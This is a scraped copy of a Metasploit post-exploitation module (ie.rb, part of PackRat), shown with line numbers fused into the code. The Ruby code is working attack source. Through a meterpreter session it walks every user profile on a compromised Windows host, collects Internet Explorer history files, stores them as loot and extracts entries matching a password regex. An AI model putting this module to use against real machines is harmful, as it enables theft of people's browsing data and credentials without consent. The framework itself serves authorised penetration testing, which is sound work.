Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/ie.rb
Views: 11704
# frozen_string_literal: true12##3# This module requires Metasploit: https://metasploit.com/download4# Current source: https://github.com/rapid7/metasploit-framework5##67class MetasploitModule < Msf::Post8# this associative array defines the artifacts known to PackRat9include Msf::Post::File10include Msf::Post::Windows::UserProfiles11include Msf::Post::Windows::Packrat12ARTIFACTS =13{14application: 'IE',15app_category: 'browsers',16gatherable_artifacts: [17{18filetypes: 'web_history',19path: 'LocalSettings',20dir: 'History',21artifact_file_name: 'index.dat',22description: 'IE history',23credential_type: 'dat'24}25]26}.freeze2728def initialize(info = {})29super(30update_info(31info,32'Name' => 'Ie credential gatherer',33'Description' => %q{34PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.35PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.36Further details can be found in the module documentation.37This is a module that searches for ie credentials on a windows remote host.38},39'License' => MSF_LICENSE,40'Author' => [41'Kazuyoshi Maruta',42'Daniel Hallsworth',43'Barwar Salim M',44'Z. Cliffe Schreuders' # http://z.cliffe.schreuders.org45],46'Platform' => ['win'],47'SessionTypes' => ['meterpreter'],48'Notes' => {49'Stability' => [CRASH_SAFE],50'Reliability' => [],51'SideEffects' => []52}53)54)5556register_options(57[58OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),59OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),60OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),61# enumerates the options based on the artifacts that are defined below62OptEnum.new('ARTIFACTS', [63false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map do |k|64k[:filetypes]65end.uniq.unshift('All')66])67]68)69end7071def run72print_status('Filtering based on these selections: ')73print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")74print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")75print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")7677# used to grab files for each user on the remote host78grab_user_profiles.each do |userprofile|79run_packrat(userprofile, ARTIFACTS)80end8182print_status 'PackRat credential sweep Completed'83end84end858687